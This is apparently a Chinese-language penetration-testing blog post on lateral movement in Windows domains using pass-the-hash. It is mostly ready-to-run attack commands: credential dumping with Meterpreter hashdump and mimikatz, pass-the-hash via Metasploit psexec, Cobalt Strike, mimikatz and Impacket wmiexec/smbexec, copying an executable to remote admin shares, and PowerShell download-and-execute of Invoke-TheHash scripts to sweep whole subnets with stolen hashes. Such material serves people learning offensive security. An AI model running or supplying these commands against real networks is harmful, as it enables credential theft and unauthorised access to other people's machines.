域横向移动

PTH简介

PASS THE Hash 也叫 Hash 传递攻击,简称 PTH。模拟用户登录不需要用户明文密码,就可以直接 用获取到的 Hash 来登录目标系统。

利用成功的前提条件是:

  • 开启 445 端口 SMB 服务
  • 开启 admin$ 共享

Metasploit psexec模块

通过获取的Meterpreter会话执行hashdump得到用户hash值

1
hashdump

image-20240210155140579

1
2
load kiwi 
creds_all

注意该模块是需要管理员权限

image-20240210160238443

使用 msf psexec模块

image-20240210160638079

就直接使用他的hash值,就不需要具体的密码了

image-20240210165548361

这个hash 的格式是

1
LM hash:NTML hash

但是LM hash 其实已经被启用了,所以只只需要后面的NTML hash 就可以了,但是由于msf 需要检验格式,所以必须保证前面的字符必须是规定的长度

利用成功

这个就是hash传递 也称为 PTH

如果是使用域用户登录的话,那么就要指定smbdomain,然后使用域用户的hash

image-20240210162329416

注意

如果是攻击内网的主机记得添加代理

1
setg proxies

cs hash传递攻击

  1. 创建一个监听器

选择 bind 或者是 smb

因为是在内网,使用bind 符合网络环境

  1. 使用psexec进行迁移

    image-20240210173949706

还可以使用 minikatz 的方式进行hash传递

Mimikatz Hash传递攻击

当我们获得了内网中一台主机的NTLM哈希值,我们可以利用mimikatz对这个主机进行哈希传递攻 击,执行命令成功后将会反弹回cmd

如果迷人有获取到hash请执行下面的方法

1
2
privilege::debug
sekurlsa::logonPasswords

如果存在错误请使用::查看对应模块,对应功能

image-20240327104533204

image-20240327104602952

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:august /domain:10.10.10.20 /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0" exit

image-20240210200220058

在弹出的cmd中由于含有key(对应域环境的凭证),我们还可以直接连接该主机,还可以查看目录文件等操作

1
2
3
4
net use \\10.10.10.20\c$
dir \\10.10.10.20\c$
copy 1.exe \\10.10.10.20\c$
net use h: \\10.10.10.20\c$

除了上面的操作

还可以创建定时任务(有可能会报错,因为现在是system 用户,不支持),等等

Powershell Hash传递攻击

需要同时加载Invoke-WMIExec.ps1、Invoke-TheHash.ps1

https://github.com/Kevin-Robertson/Invoke-TheHash

记载脚本

但是使用这个方式,需要设置(-ep/-exec bypass)

或者是远程加载就不需要设置

1
2
3
4
powershell -exec bypass

Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
1
2
3
4
powershell -exec bypass

IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-WMIExec.ps1');
IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-TheHash.ps1');
1
Invoke-TheHash -Type WMIExec -Target 192.168.1.0/24 -Username administrator -Hash 579110c49145015c47ecd267657d3174

批量撞指定的内网机器

1
2
3
4
5
工作组:
PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.1.0/24 -Username administrator -Hash b4e535a9bb56bcc084602062c9e2a9d4

域:
PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 10.10.10.0/24 -Domain mingy -Username administrator -Hash e1c61709dffcf154ac9d77b5024f6d10

利用Impacket - wmiexec.exe传递攻击

该脚本是通过445端口进行通信的,不是135

1
2
# 域用户
wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 域名/administrator@192.168.3.123 "ipconfig"
1
2
3
4
5
命令执行:
wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0 administrator@10.10.10.20 "whoami"

得到shell:
smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0 administrator@10.10.10.20

Linux

1
2
3
4
5
# 工作组
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0 administrator@10.10.10.20 "ipconfig"

# 域用户
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0 域名/administrator@10.10.10.20 "ipconfig"

域横向移动
https://tsy244.github.io/2024/02/10/渗透/域横向移动/
Author
August Rosenberg
Posted on
February 10, 2024
Licensed under